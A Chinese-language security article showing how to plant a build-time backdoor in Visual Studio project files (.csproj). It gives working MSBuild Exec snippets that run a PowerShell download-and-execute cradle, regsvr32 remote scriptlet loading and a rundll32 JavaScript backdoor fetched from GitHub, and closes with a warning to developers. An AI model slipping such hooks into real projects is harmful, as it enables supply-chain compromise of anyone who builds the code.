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Pay close attention to your download code——Visual Studio trick to run code when building

0x00前言

本文源于一次大胆的尝试:

对github上某一知名的C#工程作细微改动并推荐用户下载,用户在毫不知情的情况下往往会在查看源代码后选择编译文件,然而在编译的过程中,会隐蔽执行代码,获得用户的主机权限,细极思恐。演示如下:

Pay close attention to your download code——Visual Studio trick to run code when building

0x01 背景知识

MSBuild是 Microsoft Build Engine 的缩写,代表 Microsoft 和 Visual Studio 的新的生成平台MSBuild可在未安装Visual Studio的环境中编译.net的工程文件

实例1:

#!xml <?xml version="1.0" encoding="utf-8" ?> <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">   <Target Name="PrintCurrentDateTime">     <Message Text="The current date and time is: $([System.DateTime]::Now)." />   </Target> </Project> 

保存为test.csprojcmd下执行:

#!shell C:/Windows/Microsoft.Net/Framework/v4.0.30319/msbuild.exe test.csproj 

在cmd下会输出显示当前时间,如图

Pay close attention to your download code——Visual Studio trick to run code when building

实例2:

#!c using System; class Test {     static void Main()     {         Console.WriteLine("Hello world");     } } 

保存为hello.cs

#!xml <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">     <Target Name="Compile">         <CSC Sources="hello.cs" OutputAssembly="hello.exe" />     </Target> </Project> 

保存为hello.csproj

hello.cs和hello.csproj放于同一目录cmd下执行:

#!shell C:/Windows/Microsoft.Net/Framework/v4.0.30319/msbuild.exe hello.csproj 

可以编译生成hello.exe

Pay close attention to your download code——Visual Studio trick to run code when building

0x02 构造工程(脚本文件)

在Visual Studio下新建一个c#工程,查看目录下的.csproj文件,格式如下:

#!xml <?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">   <Import Project="$(MSBuildExtensionsPath)/$(MSBuildToolsVersion)/Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)/$(MSBuildToolsVersion)/Microsoft.Common.props')" />   <PropertyGroup>     <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>     <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>     <ProjectGuid>{11E01039-C952-4D78-A2E5-426B51788B7F}</ProjectGuid>     <OutputType>Exe</OutputType>     <AppDesignerFolder>Properties</AppDesignerFolder>     <RootNamespace>ConsoleApplication3</RootNamespace>     <AssemblyName>ConsoleApplication3</AssemblyName>     <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>     <FileAlignment>512</FileAlignment>   </PropertyGroup>   <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">     <PlatformTarget>AnyCPU</PlatformTarget>     <DebugSymbols>true</DebugSymbols>     <DebugType>full</DebugType>     <Optimize>false</Optimize>     <OutputPath>bin/Debug/</OutputPath>     <DefineConstants>DEBUG;TRACE</DefineConstants>     <ErrorReport>prompt</ErrorReport>     <WarningLevel>4</WarningLevel>   </PropertyGroup>   <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">     <PlatformTarget>AnyCPU</PlatformTarget>     <DebugType>pdbonly</DebugType>     <Optimize>true</Optimize>     <OutputPath>bin/Release/</OutputPath>     <DefineConstants>TRACE</DefineConstants>     <ErrorReport>prompt</ErrorReport>     <WarningLevel>4</WarningLevel>   </PropertyGroup>   <ItemGroup>     <Reference Include="System" />     <Reference Include="System.Core" />     <Reference Include="System.Xml.Linq" />     <Reference Include="System.Data.DataSetExtensions" />     <Reference Include="Microsoft.CSharp" />     <Reference Include="System.Data" />     <Reference Include="System.Xml" />   </ItemGroup>   <ItemGroup>     <Compile Include="Program.cs" />     <Compile Include="Properties/AssemblyInfo.cs" />   </ItemGroup>   <ItemGroup>     <None Include="App.config" />   </ItemGroup>   <Import Project="$(MSBuildToolsPath)/Microsoft.CSharp.targets" />   <!-- To modify your build process, add your task inside one of the targets below and uncomment it.         Other similar extension points exist, see Microsoft.Common.targets.   <Target Name="BeforeBuild">   </Target>   <Target Name="AfterBuild">   </Target>   --> </Project> 

需要先了解以下基础知识:

Project元素

项目文件的最外层元素,它表示了一个项目的范围。如果缺少了这一元素,MSBuild会报错称Target元素无法识别或不被支持。

Project元素拥有多个属性,其中最常用到的是DefaultTargets属性。我们都知道,在一个项目的生成过程中可能需要完成几项不同的任务(比如编译、单元测试、check-in到源代码控制服务器中等),其中每一项任务都可以用Target来表示。对于拥有多个Target的项目,你可以通过设置Project的DefaultTargets(注意是复数)属性来指定需要运行哪(几)个Target,如果没有这个设置,MSBuild将只运行排在最前面的那个Target

Property元素

在项目中你肯定需要经常访问一些信息,例如需要创建的路径名、最终生成的程序集名称等。以name/value的形式添加进Property,随后就可以以$(PropertyName)的形式访问

Item元素

在整个项目文件中你肯定要提供一些可被引用的输入性资源(inputs)信息,比如源代码文件、引用的程序集名称、需要嵌入的图标资源等。它们应该被放在Item里,以便随时引用

Target元素

Target表示一个需要完成的虚拟的任务单元。每个Project可以包括一个或多个Target,从而完成一系列定制的任务。你需要给每个Target设置一个Name属性(同一Project下的两个Target不能拥有同样的Name)以便引用和区别

Task元素

可执行的部分,可以在Target下面放置多个Task来顺序地执行相应的任务

部分元素定义引用+参考自 http://www.cnblogs.com/shanyou/p/3452938.html

https://msdn.microsoft.com/en-us/library/7z253716.aspx 可获得详细Task类的用法介绍,其中几个特别的类值得注意:

  • Copy:复制文件
  • Delete:删除文件
  • Exec:执行命令
  • MakeDir:创建文件
  • Message:向控制台输出消息

结合以上的基础知识,我们不难理解默认.csproj文件包含的信息,而在.csproj文件尾部存在一个特别的说明:

#!xml <!-- To modify your build process, add your task inside one of the targets below and uncomment it.         Other similar extension points exist, see Microsoft.Common.targets.   <Target Name="BeforeBuild">   </Target>   <Target Name="AfterBuild">   </Target>   --> 

那么,我们能否通过修改此处来操作VS编译文件的过程呢?

0x03 添加后门测试

对于原始文档,首先去掉 <----> 的标记

1、在编译过程中直接弹calc.exe

添加代码如下:

#!xml <Target Name="AfterBuild">     <Exec Command="calc.exe"/>   </Target> 

成功弹出计算器,build的过程卡住,手动结束calc进程,编译成功,如图:

Pay close attention to your download code——Visual Studio trick to run code when building

解决方法:

解决calc进程死锁,可以通过powershell的start process异步调用来执行calc.exe

脚本内容为

#!shell start-process calc.exe 

上传至github使用powershell来下载执行

.csproj文件修改为:

#!xml <Target Name="AfterBuild">     <Exec Command="powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/test/master/calc.ps1');"/>   </Target> 

执行如图:

Pay close attention to your download code——Visual Studio trick to run code when building

2、在编译过程中调用regsvr32.exe

添加代码如下:

#!xml <Target Name="AfterBuild">     <Exec Command="regsvr32.exe /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"/>   </Target> 

使用regsvr32会在控制台输出报错提示权限不够,但依然可以成功执行命令,如图

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3、在编译过程中运行JSRAT

使用rundll32

#!xml rundll32.exe javascript:"/../mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test") 

两个"" 中间无法再使用 " ,所以要用 &quot; 来替代 " 优化的代码如下:

#!xml <Target Name="AfterBuild">     <Exec Command="rundll32.exe javascript:"/../mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")"/>  </Target> 

成功弹出计算器,但无法成功编译文件,手动结束rundll32进程,编译成功,提示rundll32调用错误

解决方法:

写临时js文件,再运行,代码如下:

#!xml  <Target Name="BeforeBuild">  <Exec Command="echo GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")>1.js"/>    </Target>   <Target Name="AfterBuild"> <Exec Command="1.js"/>  </Target> 

演示略

0x04 实际影响

任意一个c#工程,只要编辑.csproj文件,即可实现在编译过程中执行任意命令。 正如本文开始的演示图,绝大部分人从github上下载代码后,会选择直接编译,即使部分人会注意代码细节,也常常会忽略.csproj文件,并且通过Visual Studio 的操作面板无法获取添加的后门代码。

Pay close attention to your download code——Visual Studio trick to run code when building

如果别有用心的人在公开项目的.csproj文件添加了后门代码,后果将不堪设想。希望本文能引起大家对此细节的注意,尤其是开发人员,编译工程前尤其要记得查看.**proj文件的细节。亡羊而补牢,未为迟也。

0x05 补充

使用Visual Studio中的其他语言也同样可以插入后门:

Visual C++:

– 修改.vcxproj文件

Visual Basic:

– 修改.vbproj文件

Visual F#:

– 修改.fsproj文件

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